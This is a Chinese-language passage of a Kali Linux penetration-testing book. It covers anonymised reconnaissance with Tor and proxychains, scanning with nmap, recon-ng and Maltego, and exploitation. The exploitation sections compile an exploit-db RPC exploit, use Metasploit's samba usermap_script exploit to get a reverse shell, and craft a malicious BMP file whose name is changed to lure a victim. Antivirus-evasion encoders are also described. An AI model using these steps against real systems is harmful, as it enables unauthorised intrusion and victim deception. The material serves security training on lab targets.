使用 Tor 时,需要牢记以下一些考虑事项:

  • Tor 提供了匿名服务,但并不保证隐私。出口节点的所有者能够嗅探流量,并据报道可能能够访问用户凭据。

  • 据报道,Tor 浏览器捆绑包中的漏洞曾被执法部门用来利用系统并获取用户信息。

  • ProxyChains 无法处理 UDP 流量。

  • 一些应用程序和服务无法在这种环境下运行,特别是 Metasploit 和nmap可能会出错。nmap的隐秘 SYN 扫描会打破 proxychains,并且会调用连接扫描;这可能会向目标泄露信息。

  • 一些浏览器应用程序(ActiveX、Adobe 的 PDF 应用程序、Flash、Java、RealPlay 和 QuickTime)可以用来获取您的 IP 地址。

  • 确保在浏览之前清除和阻止 cookie。

提示

Tor-Buddy 脚本允许您控制 Tor IP 地址刷新的频率,自动使识别用户信息更加困难(sourceforge.net/projects/linuxscripts/files/Tor-Buddy/)。

识别网络基础设施

一旦测试人员的身份得到保护,识别互联网可访问部分网络上的设备是扫描网络的下一个关键的第一步。

攻击者和渗透测试人员利用这些信息进行以下操作:

  • 识别可能混淆(负载均衡器)或消除(防火墙和数据包检查设备)测试结果的设备

  • 识别已知漏洞的设备

  • 识别继续实施隐秘扫描的要求

  • 了解目标对安全架构和安全性的关注

traceroute提供有关数据包过滤能力的基本信息;Kali 上的其他一些应用程序包括以下内容:

应用 描述
lbd 使用两种基于 DNS 和 HTTP 的技术来检测负载均衡器(如下图所示)
miranda.py 识别通用即插即用和 UPNP 设备
nmap 检测设备并确定其操作系统及版本
SHODAN 基于 Web 的搜索引擎,可识别连接到互联网的设备,包括具有默认密码、已知配置错误和漏洞的设备

以下屏幕截图显示了针对 Google 运行lbd脚本所获得的结果;正如您所看到的,Google 在其网站上既使用了DNS 负载平衡,也使用了HTTP 负载平衡。从渗透测试人员的角度来看,这些信息可以用来解释为什么会得到虚假的结果,因为负载均衡器将特定工具的活动从一个服务器转移到另一个服务器。

识别网络基础设施

枚举主机

主机枚举是获取有关特定主机的具体细节的过程。仅仅知道服务器或无线接入点存在是不够的;相反,我们需要通过识别开放端口、基本操作系统、正在运行的服务和支持应用程序来扩大攻击面。

这是非常侵入性的,除非小心,主动侦察将被目标组织检测并记录。

活动主机发现

第一步是对目标地址空间运行网络 ping 扫描,并寻找指示特定目标是活动的并且能够响应的响应。在历史上,ping 是指使用 ICMP;然而,TCP、UDP、ICMP 和 ARP 流量也可以用来识别活动主机。

可以从互联网的远程位置运行各种扫描程序,以识别活动主机。尽管主要扫描程序是nmap,但 Kali 还提供了其他几个同样有用的应用程序,如下表所示:

应用 描述
alive6detect-new-ip6 IPv6 主机检测。detect-new-ip6定期运行并在添加新的 IPv6 设备时进行识别。
dnmapnmap nmap是标准的网络枚举工具。dnmapnmap扫描器的分布式客户端-服务器实现。PBNJ 将nmap结果存储在数据库中,然后进行历史分析以识别新主机。
fpinghping2hping3nping 响应目标以不同方式识别活动主机的数据包生成器

对于渗透测试人员或攻击者来说,从活动主机发现返回的数据将确定攻击目标。

提示

在进行渗透测试时运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中,发现系统管理员在正常工作时间之后设置了一个游戏服务器。因为它不是一个经过批准的业务系统,管理员没有按照正常的流程来保护服务器;存在多个易受攻击的服务,并且没有接收到必要的安全补丁。测试人员能够攻破游戏服务器并利用管理员游戏服务器中的漏洞访问底层企业网络。

端口、操作系统和服务发现

Kali 提供了几种有用于识别远程主机上开放端口、操作系统和已安装服务的不同工具。大多数这些功能可以使用nmap完成。虽然我们将重点关注使用nmap的示例,但基本原则也适用于其他工具。

端口扫描

端口扫描是连接到 TCP 和 UDP 端口以确定目标设备上运行的服务和应用程序的过程。每个系统上 TCP 和 UDP 都有 65,535 个端口。一些端口已知与特定服务相关联(TCP 20 和 21 是文件传输协议服务(FTP)的通常端口)。前 1024 个是众所周知的端口,大多数定义的服务都在这个范围内运行;接受的服务和端口由 IANA 维护(www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)。

提示

尽管特定服务有接受的端口,比如端口 80 用于基于网络的流量,服务可以被指定使用任何端口。这个选项经常被用来隐藏特定服务,特别是如果该服务已知容易受到攻击。然而,如果攻击者完成了端口扫描却没有找到预期的服务,或者发现它使用了不寻常的端口,他们将被促使进一步调查。

通用端口映射工具nmap依赖于主动堆栈指纹识别。特制的数据包被发送到目标系统,操作系统对这些数据包的响应允许nmap识别操作系统。为了让nmap工作,至少一个监听端口必须是开放的,并且操作系统必须是已知的并且有指纹,该指纹的副本在本地数据库中。

使用nmap进行端口发现非常嘈杂——它将被网络安全设备检测并记录。需要记住的一些要点如下:

  • 专注于隐秘的攻击者和渗透测试人员只会测试对他们特定目标的杀伤链产生影响的端口。如果他们发起的攻击利用了 Web 服务器的漏洞,他们将寻找可访问端口 80端口 8080的目标。

  • 大多数端口扫描器都有默认的端口列表进行扫描——确保你知道列表上有什么,以及有什么被省略了。考虑 TCP 和 UDP 端口。

  • 成功的扫描需要对 TCP/IP 和相关协议、网络以及特定工具的工作原理有深入的了解。例如,SCTP 是网络上越来越常见的协议,但在企业网络上很少被测试。

  • 端口扫描,即使速度较慢,也会对网络产生影响。一些较旧的网络设备和特定厂商的设备在接收或传输端口扫描时会被锁定,从而将扫描变成拒绝服务攻击。

  • 用于扫描端口的工具,特别是nmap,正在扩展功能。它们还可以用于检测漏洞并利用简单的安全漏洞。

指纹识别操作系统

确定远程系统的操作系统使用两种类型的扫描:

  • 主动指纹识别:攻击者向目标发送正常和畸形的数据包,并记录其响应模式,称为指纹。通过将指纹与本地数据库进行比较,可以确定操作系统。

  • 被动指纹识别:攻击者嗅探,或记录和分析数据包流以确定数据包的特征。

主动指纹识别比被动指纹识别更快更准确。在 Kali 中,两个主要的主动工具是nmapxprobe2

nmap工具向目标网络注入数据包并分析其接收到的响应。在下面的屏幕截图中,-O标志命令nmap确定操作系统。因为它向目标注入数据包,所以nmap对操作系统的确定的准确性取决于开放端口的数量。它通常有效地区分 Windows 和 Unix 系统,但可能不提供非常具体的信息,比如区分各种 Unix 内核。下面的屏幕截图显示了对 Windows 系统进行nmap扫描的结果。目标系统上只有少数端口可用于测试,因此无法区分 Windows 7 企业版和 Windows XP sp3。

指纹识别操作系统

相关程序xprobe2使用不同的 TCP、UDP 和 ICMP 数据包来绕过防火墙,并避免被 IDS/IPS 系统检测到。xprobe2还使用模糊模式匹配——操作系统不被确定为某一类型;而是被分配为可能是几种可能的变体之一的概率。正如您在下面的屏幕截图中所看到的,这使测试人员能够测试特定于操作系统变体的漏洞;这种特异性增加了成功的机会,并最大程度地减少了在尝试使用错误的工具进行利用时可能发生的风险。

指纹识别操作系统

请注意,目标系统很容易隐藏真实的操作系统。由于指纹识别软件依赖于数据包设置,如生存时间或初始窗口大小,对这些值或其他用户可配置的设置的更改可能会改变工具的结果。一些组织积极改变这些值,以使侦察的最后阶段更加困难。

确定活动服务

侦察的枚举部分的最终目标是确定目标系统上正在运行的服务和应用程序。如果可能的话,攻击者希望知道服务类型、供应商和版本,以便于识别任何漏洞。

以下是用于确定活动服务的一些技术:

  • 识别默认端口和服务:如果远程系统被识别为具有 Microsoft 操作系统并且开放了端口 80(WWW 服务),攻击者可能会假定安装了默认的 Microsoft IIS。将使用其他测试来验证这一假设(nmap)。

  • 横幅抓取:使用 amap、netcat、nmap和 Telnet 等工具进行。

  • 审查默认网页:一些应用程序安装了默认的管理、错误或其他页面。如果攻击者访问这些页面,它们将提供有关可能易受攻击的已安装应用程序的指导。在下面的屏幕截图中,攻击者可以轻松地识别已安装在目标系统上的 Apache Tomcat 的版本。确定活动服务

  • 审查源代码:配置不良的基于 Web 的应用程序可能会对某些 HTTP 请求(如HEADOPTIONS)做出响应,其中包括 Web 服务器软件版本,可能还包括基本操作系统或正在使用的脚本环境。在下面的屏幕截图中,netcat 从命令行启动,并用于向特定网站发送原始HEAD数据包。这个请求生成了一个错误消息(404 未找到);然而,它也确定了服务器正在运行 Microsoft IIS,版本 7.5。确定活动服务

使用全面的侦察应用程序

尽管 Kali 包含多个工具来促进侦察,但许多工具具有重叠的功能,并且从一个工具导入数据到另一个工具通常是一个复杂的手动过程。大多数测试人员选择一部分工具,并使用脚本调用它们。

最初是具有一组定义功能的命令行工具的综合工具,其中最常用的是Deepmagic 信息收集工具DMitry)。DMitry 可以执行whois查找、检索 netcraft.com 信息、搜索子域和电子邮件地址,并执行 TCP 扫描。不幸的是,它在这些功能之外无法扩展。

最近的进展已经创造了综合的框架应用程序,结合了被动和主动侦察;我们将审查nmaprecon-ngmaltego

nmap

传统上,nmap被认为是一个简单的映射工具,提供有关主机和端口可用性的数据,以及一些其他数据,如目标设备的可能操作系统。

Nmap 脚本引擎NSE)已将nmap转变为一个可以进行被动和主动侦察,甚至进行基本漏洞扫描的工具(完整的脚本列表可在nmap.org/nsedoc/找到)。

因为脚本是用 Lua 脚本语言编写的,所以渗透测试社区很容易修改和发布脚本。目前,脚本化功能包括以下内容:

  • IPv4 和 IPv6 DNS 数据的侦察

  • 识别 Web 应用程序防火墙、IDS、IPS 和其他防护控制的存在

  • 测试防火墙规则集(通过 firewalk)并尝试绕过防火墙

  • 从目标和在线站点收集用户名

  • 针对各种服务和应用程序进行密码暴力破解

  • 爬取目标网络以识别网络共享

  • 从指定网站的图像中提取 EXIF 元数据

  • IP 地址的地理定位

  • 进行网络攻击,如 IPv6 数据包洪泛

  • 漏洞扫描,包括模糊测试和 SQL 注入测试

正如你所看到的,使用 Lua 等可扩展语言对nmap活动进行脚本编写的能力增加了这个工具的重要性。

一个有用的脚本是 Marc Ruef 的vulscanwww.computec.ch/mruef/software/nmap_nse_vulscan-1.0.tar.gz),它结合了nmap的指纹特性(使用-sV标志)与对主要漏洞的查找,如 MITRE、OSVDB 和 SecurityFocus。

下载脚本包后,解压文件并将脚本文件移动到usr/share/nmap/scripts

要从命令行调用其中一个脚本,请使用--script标志,然后识别脚本名称。经常使用的一个脚本是nmap的通用漏洞扫描程序,使用以下命令启动:

root@kali:~# nmap -sV --script=vulscan.nse digitaldefence.ca

在这种特殊情况下,漏洞扫描未发现任何已知漏洞的漏洞,如下面的屏幕截图所示:

nmap

提示

必备脚本是 SpiderLabs 脚本,用于截取网络服务的屏幕截图。它需要下载wkhtmltoimage工具(wkhtmltopdf.googlecode.com)并放置在/usr/local/bin文件夹中。然后应下载屏幕截图脚本本身(github.com/SpiderLabs/Nmap-Tools/raw/master/NSE/http-screenshot.nse)并放置在/usr/local/share/nmap/scripts中。当调用时,此脚本会生成所有已识别的网络服务的视觉记录,从而更容易选择以后进行测试的目标。

recon-ng 框架

recon-ng框架是用于进行侦察(被动和主动)的开源框架。

与 Metasploit Framework 和 Social Engineer Toolkit 一样,recon-ng使用模块化框架。每个模块都是一个定制的cmd解释器,预先配置以执行特定任务。

recon-ng框架及其模块均以 Python 编写,允许渗透测试人员轻松构建或更改模块以便进行测试。

recon-ng工具利用第三方 API 进行一些评估;这种额外的灵活性意味着recon-ng进行的一些活动可能会被这些方面跟踪。用户可以指定自定义的UserAgent字符串或代理请求以最小化警报目标网络。

recon-ng收集的所有数据都存储在数据库中,允许您针对存储的数据创建各种报告。用户可以选择报告模块之一自动生成 CVS 报告或 HTML 报告。

要使用 recon,执行以下步骤:

  1. 如果您的 Kali 版本上没有安装recon-ng,请使用以下命令:
apt-get install recon-ng

  1. 要启动应用程序,请在提示符下输入recon-ng,如下面的屏幕截图所示。启动屏幕将指示模块的数量,并且帮助命令将显示可用于导航的命令。The recon-ng framework

  2. 要显示可用的模块,请在recon-ng>提示符下键入show。要加载特定模块,请键入load,然后输入模块的名称。在输入时按 Tab 键将自动完成命令。如果模块有唯一的名称,您可以输入名称的唯一部分,模块将加载而无需输入完整路径。

输入info,如下面的屏幕截图所示,将为您提供有关模块如何工作以及如何获取 API 密钥(如果需要)的信息。

The recon-ng framework

  1. 加载模块后,使用set命令设置选项,然后输入run执行,如下面的屏幕截图所示:The recon-ng framework

一般来说,测试人员依赖recon-ng来执行以下操作:

  • 使用whoisjigsawlinkedintwitter收集联系人(使用 mangle 模块提取和呈现电子邮件数据)

  • 识别主机

  • 使用hostopipinfodbmaxminduniapplewigle识别主机和个人的地理位置

  • 使用 netcraft 和相关模块识别主机信息

  • 识别先前已经泄露到互联网上的帐户和密码信息(pwnedlist模块,wascompanyhackedxssedpunkspider

Maltego

Maltego (www.paterva.com)是一款开源情报和取证应用程序。Kali 附带的社区版本对搜索的大小设置了限制;但是,它是一款用于可视化数据关系的优秀工具,使用数据挖掘和链接分析。

Maltego 允许您枚举个人信息,将特定人员与公司、电子邮件地址、网站、社交网络组和电话号码联系起来。它还促进了whois信息、域名、DNS 信息、IP 地址和网络块的被动和主动侦察。

  1. 要打开应用程序,请输入maltego作为命令提示符。第一次打开时,您需要注册并验证您的电子邮件地址与 Paterva。

  2. 完成注册和转换更新后,您将看到一个多面板的 GUI,允许您检查各种数据对象之间的连接,如下面的屏幕截图所示:Maltego

Maltego 依赖于存储在应用程序左侧调色板中的一系列转换或模块。通过从左侧列中选择它们,然后将它们拖到应用程序中心来选择转换。

默认情况下,初始选择时图标可能被称为pantera.com;但是,您可以使用右侧列中的数据操作区域来重命名和更改数据。

社区版中存在几种不同的转换;这些被分成几个组,如设备基础设施个人位置渗透测试社交网络,如下面的屏幕截图所示:

Maltego

  1. 将适当的转换拖到工作表上,右键单击以显示将针对该转换身份完成的转换。请记住,如果选择全部选项,处理将需要大量时间。

分析关系的能力在执行社会工程攻击时特别有用。例如,如果目标网站包含多个链接到另一个网站,攻击者可以利用这种关系进行钓鱼攻击。

漏洞扫描

漏洞扫描利用自动化流程和应用程序来识别网络、系统、操作系统或应用程序中可能存在的漏洞。

当漏洞扫描正确执行时,它会提供设备清单(经授权和流氓设备),已经主动扫描的已知漏洞,通常还会确认设备在各种政策和法规方面的合规性。

不幸的是,漏洞扫描是喧闹的——它们会传递多个数据包,大多数网络控制都很容易检测到,并且几乎不可能实现隐身。它们还存在以下额外的限制:

  • 在大多数情况下,漏洞扫描仪是基于签名的——它们只能检测已知的漏洞,只有在扫描仪可以应用于目标的现有识别签名时才能检测到。对于渗透测试人员来说,最有效的扫描仪是开源的,并允许测试人员快速修改代码以检测新的漏洞。

  • 扫描仪产生大量输出,经常包含可能误导测试人员的假阳性结果;特别是,具有不同操作系统的网络可能会产生高达七十%的假阳性。

  • 扫描仪可能对网络产生负面影响——它们可能会导致网络延迟或导致某些设备的故障(请参阅www.digininja.org上的网络扫描观察列表,了解因漏洞测试而导致故障的设备)。

  • 在某些司法管辖区,扫描被视为黑客行为,可能构成非法行为。

有多种商业和开源产品可以执行漏洞扫描。在 Kali 中,扫描工具可以在漏洞分析子菜单以及Web 漏洞扫描仪菜单中找到;然而,主要的漏洞扫描仪是开放漏洞评估系统OpenVAS)。

Kali 支持安装额外的扫描仪。如果决定在测试期间牺牲隐蔽性以获得完整性,始终使用至少两种不同的扫描仪来最小化误报结果。推荐的扫描仪包括 Nexpose(www.rapid7.com)和著名的 Nessus(www.nessus.org)。

总结

在主动侦察期间,攻击者面临着他们的活动被识别的真实机会,使他们面临风险。这必须与绘制网络、查找开放端口以及确定安装的操作系统和应用程序的需求进行平衡。

为了降低风险,攻击者必须采用隐蔽的扫描技术。手动方法用于创建缓慢的扫描;然而,这种方法并不总是有效的。因此,攻击者利用 Tor 网络和各种代理应用程序来隐藏他们的身份。

在下一章中,我们将专注于分析侦察阶段和其他来源的数据,并将其用于计划和执行针对目标网络或系统的远程利用。我们将审查各种攻击技术和工具,并专注于如何确保利用不能被正常手段检测到。我们还将研究远程利用作为一个持续的过程——一旦您成功地攻击了一个目标,如何利用这一成功来转移到新的目标。

第四章:利用

被动和主动侦察的目标是识别最有可能支持测试人员或攻击者目标(拒绝服务、窃取或修改数据)的可利用安全漏洞。杀链的利用阶段侧重于创建实现目标的访问——要么通过创建拒绝服务来停止对目标的访问,要么通过建立对目标的持久访问来实现更常见的方法。

渗透测试人员必须关注利用阶段的以下方面:

  • 目标是否被充分描述?如果攻击者不了解目标的网络和主机架构,攻击将失败,并且被发现的风险会增加。

  • 利用是否广为人知,在目标系统上有明确定义的行动?未经描述的利用在使用时可能会产生意想不到的后果,造成的损害可能对测试过程产生负面影响。测试人员应在已知环境中验证所有利用。

  • 利用是从远程位置进行还是在目标系统上本地进行?远程利用对攻击者更安全,因为被积极识别的机会较小;然而,本地利用给予攻击者更多对利用行动的控制,并减少了被发现的可能性。

  • 什么是所需的后利用活动?如果攻击者需要从目标中窃取数据,那么利用必须支持建立交互连接。

  • 是否需要对受损系统进行持久访问,还是妥协将是短期的?这将驱动对隐蔽方法的要求。

已经确定了数千个可利用的漏洞,大多数与至少一个概念验证代码或技术相关,允许系统被攻破。然而,支配成功的基本原则在网络、操作系统和应用程序中是相同的。

在本章中,您将学到:

  • 威胁建模

  • 使用在线和本地漏洞资源

  • 使用 Metasploit 框架对远程目标进行利用

  • 使用 Armitage 利用多个目标

  • 绕过 ID 和防病毒检测

威胁建模

被动和主动侦察阶段绘制目标网络和系统,并确定可能可利用以实现攻击者目标的漏洞。在攻击者的杀伤链的这个阶段,行动有很强的偏见——测试人员希望立即发动攻击并证明他们可以威胁目标。然而,未经计划的攻击可能不是实现目标的最有效手段,并且可能会牺牲实现攻击目标所需的隐秘性。

渗透测试人员已经采用(正式或非正式)一种称为威胁建模的过程,最初是由网络规划者开发的,用于制定防御性对策来对抗攻击。

渗透测试人员和攻击者已经将防御性威胁建模方法学颠倒过来,以提高攻击的成功率。进攻性威胁建模是一种正式的方法,它结合了侦察和研究的结果,以制定攻击策略。攻击者必须考虑可用的目标,并确定以下列出的目标类型:

  • 主要目标:这些目标一旦受到威胁,就会立即支持目标。

  • 次要目标:这些目标可能提供信息(安全控制、密码和日志策略,以及本地和域管理员的名称和密码)以支持攻击或允许访问主要目标。

  • 第三目标:这些目标可能与测试或攻击目标无关,但相对容易受到威胁,可能提供信息或分散注意力,使攻击的实际目标。

对于每种目标类型,测试人员必须确定要使用的方法。可以使用隐身技术攻击单个漏洞,也可以使用大量攻击来攻击多个目标,以快速利用目标。如果实施大规模攻击,防御者控制设备中的噪音通常会导致他们最小化路由器和防火墙上的日志记录,甚至完全禁用它们。

要使用的方法将指导利用的选择。通常,攻击者在创建威胁模型时遵循攻击树方法论,如下图所示:

威胁建模

攻击树方法允许测试人员轻松地可视化可用的攻击选项以及如果选择的攻击不成功可以采用的替代选项。生成攻击树后,利用阶段的下一步是确定可能用于攻击目标中的漏洞的利用。

使用在线和本地漏洞资源

被动和主动侦察共同确定了目标的攻击面,即可以评估漏洞的总点数。只安装操作系统的服务器只有在该特定操作系统中存在漏洞时才能被利用;然而,每安装一个应用程序,潜在漏洞的数量就会增加。

渗透测试人员和攻击者必须找到可能会危及已知和疑似漏洞的特定利用。开始搜索的第一个地方是供应商网站;大多数硬件和应用程序供应商在发布补丁和升级时会发布有关漏洞的信息。如果已知某个弱点的利用,大多数供应商都会向其客户强调这一点。尽管他们的意图是允许客户自行测试漏洞的存在,但攻击者和渗透测试人员也会利用这些信息。

收集、分析和共享有关漏洞的其他在线站点如下:

漏洞数据库也被复制到 Kali 本地,并且可以在/usr/share/exploitdb目录中找到。在使用之前,请确保已使用以下命令进行更新:

 cd /usr/share/exploitdb
 wget http://www.exploit-db.com/archive.tar.bz2
 tar -xvjf archive.tar.bz2
 rm archive.tar.bz2

要搜索exploitdb的本地副本,请打开终端窗口并在命令提示符中输入searchsploit和所需的搜索词。这将调用一个脚本,该脚本搜索包含所有漏洞利用程序列表的数据库文件(.csv)。搜索将返回已知漏洞的描述以及相关漏洞利用程序的路径。漏洞利用程序可以被提取、编译并针对特定漏洞运行。请看下图,显示了漏洞的描述:

使用在线和本地漏洞资源

提示

搜索脚本会从左到右扫描 CSV 文件的每一行,因此搜索词的顺序很重要——搜索oracle 10g将返回几种漏洞利用程序,但10g oracle将不会返回任何结果。此外,该脚本对大小写敏感;尽管您被指示在搜索词中使用小写字符,但搜索Bulletproof FTP不会返回任何结果,但bulletproof FTP会返回七个结果,而bulletproof ftp不会返回任何结果。可以使用grep命令或类似 KWrite(apt-get install kwrite)的搜索工具更有效地搜索 CSV 文件。

本地数据库搜索可能会识别出几种可能的漏洞利用程序,并附有描述和路径列表;但是,这些都必须根据您的环境进行定制,然后再进行编译。将漏洞利用程序复制到/tmp目录(给定的路径没有考虑到/windows/remote目录位于/platforms目录中)。

以 Perl、Ruby 和 PHP 等脚本形式呈现的漏洞利用程序相对容易实现。例如,如果目标是可能对 WebDAV 远程身份验证绕过存在漏洞的 Microsoft II 6.0 服务器,请将漏洞利用程序复制到根目录,然后作为标准 Perl 脚本执行,如下图所示:

使用在线和本地漏洞资源

许多漏洞利用程序都是以源代码形式提供的,必须在使用之前进行编译。例如,搜索 RPC 特定漏洞可能会识别出几种可能的漏洞利用程序。以下是摘录的一部分:

使用在线和本地漏洞资源

76.c标识的 RPC DCOM 漏洞据实践所知相对稳定。因此,我们将以此为例。要编译此漏洞利用程序,请将其从存储目录复制到/tmp目录。在该位置,使用以下命令使用 GCC 进行编译:

 root@kali:~# gcc 76.c -o 76.exe

这将使用 GNU 编译器集合应用程序将76.c编译为一个名为76.exe的文件,如下图所示:

使用在线和本地漏洞资源

当您针对目标调用应用程序时,必须使用符号链接调用可执行文件(不存储在/tmp目录中),如下所示:

 root@kali:~# ./76.exe

这个漏洞的源代码有很好的文档记录,并且在执行时所需的参数清晰明了,如下面的截图所示:

使用在线和本地漏洞资源

不幸的是,并非所有来自漏洞数据库和其他公共来源的漏洞利用都像76.c那样容易编译。以下列出了一些问题,这些问题使得使用这些漏洞利用变得棘手,甚至对渗透测试人员来说是危险的:

  • 故意的错误或不完整的源代码经常会遇到,因为经验丰富的开发人员试图让那些不熟悉的用户,尤其是试图在不了解风险的情况下破坏系统的初学者远离漏洞利用。

  • 漏洞利用并不总是有足够的文档记录;毕竟,没有标准来规范旨在用于破坏数据系统的代码的创建和使用。因此,它们可能难以使用,特别是对于缺乏应用开发专业知识的测试人员来说。

  • 由于环境的变化(目标系统应用新的补丁和目标应用程序的语言变化)导致的不一致行为可能需要对源代码进行重大修改;同样,这可能需要一个熟练的开发人员。

  • 总是有免费可用的代码包含恶意功能的风险。渗透测试人员可能认为自己正在进行概念验证POC)练习,并且不知道漏洞利用还在被测试的应用程序中创建了一个后门,这个后门可以被开发人员利用。

为了确保一致的结果并创建一个遵循一致实践的编码社区,已经开发了几个漏洞利用框架。最流行的利用框架是 Metasploit Framework。

Metasploit Framework

Metasploit FrameworkMSF)是一个旨在促进渗透测试的开源工具。它使用 Ruby 编程语言编写,采用模块化方法来促进漏洞利用。这使得开发和编写漏洞利用变得更容易,也允许复杂的攻击得以轻松实施。

MSF 可以向控制利用的后端模块提供多个接口(控制台、CLI 和 Web)。我们将使用控制台接口,因为它速度快,可以显示攻击命令,并且具有易于理解的配置参数界面。要访问此界面,请在命令提示符中输入msfconsole,或者从下拉菜单中选择它,例如Top 10 Security Tools。下面的截图显示了应用程序启动时的启动画面:

Metasploit Framework

MSF 由模块组成,这些模块结合起来影响漏洞利用。模块及其特定功能如下:

  • 漏洞利用:针对特定漏洞的代码片段。主动利用将利用特定目标,运行直到完成,然后退出(例如,缓冲区溢出)。被动利用等待传入主机,例如 Web 浏览器或 FTP 客户端,并在连接时利用它们。

  • 有效载荷:这些是在成功利用后立即执行命令的恶意代码。

  • 辅助模块:这些模块不建立或直接支持测试人员和目标系统之间的访问;相反,它们执行支持利用阶段的扫描、模糊测试或嗅探等相关功能。

  • 后置模块:在成功攻击后,这些模块在受损目标上运行,收集有用的数据,并将攻击者深入到目标网络中。我们将在第五章中了解更多关于后置模块的信息,目标上的后期利用 - 行动

  • 编码器:当漏洞利用必须绕过防病毒防御时,这些模块对有效载荷进行编码,以便它不能被检测到使用签名匹配技术。

  • 无操作NOPs):这些用于在攻击期间促进缓冲区溢出。

这些模块一起用于进行侦察并对目标发动攻击。使用 MSF 对目标系统进行利用的步骤可以总结如下:

  1. 选择并配置利用(对目标系统上特定漏洞的代码进行利用)。

  2. 检查目标系统以确定其是否容易受到利用的攻击。这一步是可选的,通常会被省略以最小化检测。

  3. 选择并配置有效载荷(在成功利用后将在目标系统上执行的代码。例如,从受损系统到源系统的反向 shell)。

  4. 选择一种编码技术来绕过检测控制(IDS/IP 或防病毒软件)。

  5. 执行利用。

下一个示例代表了针对目标 Linux 操作系统 Metasploitable2 的简单攻击。它可以在sourceforge.net/projects/metasploitable/files/Metasploitable2上找到。Metasploitable2 被设计成易受攻击,并且包含已知和特征化的漏洞,为培训和验证利用工具提供了一个标准平台。

当作为虚拟机安装(在附录中介绍,安装 Kali Linux),Metasploitable 可以使用nmap进行扫描,以识别开放端口和相关应用程序。以下截图显示了nmap扫描的摘录:

Metasploit 框架

在前面的示例中,nmap识别了几个应用程序。作为测试人员,我们应该调查每个应用程序是否存在已知的漏洞。其中一个最好的起点是 Metasploit 自己的利用集合。可以使用以下命令行搜索:

 msf> search samba

返回的 samba 服务利用被列出,并且每个利用都被分配了一个相对的排名,用于表示它们在实现利用时的成功程度。以下截图显示了可用的 samba 利用的摘录:

Metasploit 框架

exploit/multi/samba/usermap_script利用被选中用于本示例的其余部分,因为它被评为优秀。这个排名是由 Metasploit 开发团队确定的,用于表示利用在对稳定目标系统的熟练测试人员手中的可靠程度。在现实生活中,多个变量(测试人员技能、网络上的保护设备以及操作系统和托管应用程序的修改)可以共同工作,从而显著改变利用的可靠性。

使用以下info命令获取有关该利用的其他信息:

 msf> info exploit/multi/samba/usermap_script

返回的信息包括参考资料以及以下截图中显示的信息:

Metasploit 框架

为了指示 Metasploit 我们将使用这个利用来攻击目标,我们发出以下命令:

 msf> use exploit/multi/samba/usermap_script

Metasploit 将命令提示符从msf>更改为msf exploit (usermap_script) >

Metasploit 提示测试人员选择有效载荷(从受损系统到攻击者的反向 shell),并设置以下列出的其他变量:

  • 远程主机RHOST):这是被攻击系统的 IP 地址

  • 远程端口RPORT):这是用于利用的端口号

  • 本地主机LHOST):这是用于发动攻击的系统的 IP 地址

在设置了所有变量之后,在提示符下输入exploit命令启动攻击。Metasploit 启动攻击,并通过指示command shell 1 opened并给出发起和终止反向 shell 的 IP 地址来确认反向 shell 的存在。

为了验证是否存在 shell,测试人员可以查询主机名、用户名(uname -a)和whoami,以确认结果是特定于位于远程位置的目标系统。看一下下面的截图:

Metasploit 框架

当系统受到这种程度的威胁时,它已经准备好进行后利用活动(参见第五章,目标上的后利用-目标上的行动和第六章,后利用-持久性)。要向 Metasploit 添加新的利用,在 Ruby 脚本(.rb)或 Python(.py)中,将它们放在位于您的主目录中的隐藏.msf4文件夹中,然后重新加载msfconsole

利用易受攻击的应用程序

Metasploit 框架对操作系统和第三方应用程序中的漏洞同样有效。在这个例子中,我们将利用 Chasys Draw IES(版本 4.10.01)中发现的缓冲区溢出漏洞。该漏洞存在于ReadFile函数中,该函数用于以不安全的方式存储用户提供的数据。利用结果是在用户的上下文中执行任意代码。

要发起攻击,测试人员需要生成一个特制的 BMP 文件,然后让受害者在 Chasys 应用程序中打开该文件。当这种情况发生时,它将危害基本操作系统(对 Windows XP SP3 和 Windows 7 SP1 有效)。

第一步是打开msfconsole并设置 Metasploit 使用exploit/windows/fileformat/chasys_draw_ies_bof,如下截图所示:

利用易受攻击的应用程序

再次,利用是一个相对简单的利用。测试人员需要从受损系统设置一个反向 shell(reverse_tcp)到测试人员的系统,本地主机LHOST)。

当利用完成时,它会创建一个特制的 BMP 文件,存储为默认名称msf.bmp。为了诱使目标打开文件并避免一些设备可能检测到的默认名称,最好将文件名更改为与预期目标更相关的内容。

下一步是打开一个新的msfconsole实例,并为从目标发起的反向 TCP shell 设置一个监听器。下面的截图显示了一个简单的监听器:

利用易受攻击的应用程序

一旦受害者在易受攻击的应用程序中打开精心制作的 BMP 图像文件,两个系统之间就会打开一个meterpreter会话。msf提示符被meterpreter提示符替换,测试人员可以有效地通过命令行访问远程系统。妥协后的第一步是验证您是否在目标系统上;如下截图所示,sysinfo命令识别计算机名称和操作系统,验证了成功的攻击:

利用易受攻击的应用程序

使用 Armitage 利用多个目标

Armitage 经常被渗透测试人员忽视,他们放弃了其图形用户界面,转而使用传统的 Metasploit 控制台命令行输入。然而,它具有 Metasploit 的功能,同时还可以看到其许多可能的选项,使其成为复杂测试环境中的一个很好的选择。与 Metasploit 不同的是,它还允许您同时测试多个目标——最多可同时测试 512 个目标。

要启动 Armitage,请确保使用以下命令启动数据库和 Metasploit 服务:

 service postgresqlstart
  service metasploit start 

在完成这一步之后,在命令提示符下输入armitage来执行该命令。Armitage 并不总是执行得很干净,可能需要重复启动步骤以确保其正常运行。

要发现可用的目标,您可以通过提供其 IP 地址手动添加主机,或者从菜单栏的主机选项卡中选择nmap扫描。Armitage 还可以使用 MSF 辅助命令或 DNS 枚举枚举目标。

Armitage 还可以从以下文件导入主机数据:Acunetix、amap、AppScan、Burp 代理、Foundstone、Microsoft 基线安全分析器、Nessus NBE 和 XML 文件、NetSparker、NeXpose、nmap、OpenVas、Qualys 和 Retina。初始的 Armitage 启动屏幕如下截图所示:

使用 Armitage 攻击多个目标

Armitage 允许您通过右键选择主机,然后转到主机菜单并选择设置标签...功能来设置主机标签。这允许您标记特定的地址或通过常用名称标识它,在团队测试时非常有帮助。这个过程在下面的截图中显示:

使用 Armitage 攻击多个目标

Armitage 还支持动态工作区-基于网络标准、操作系统、开放端口和服务以及标签的网络的过滤视图。例如,您可以测试一个网络,并识别出几台似乎没有像网络的其余部分那样打补丁的服务器。这些可以通过给它们贴上标签然后将它们放在优先工作区中来突出显示。

一旦您确定了网络上存在的目标系统,您可以选择特定的模块作为利用过程的一部分来实施。您还可以使用菜单栏中的攻击选项来查找攻击。

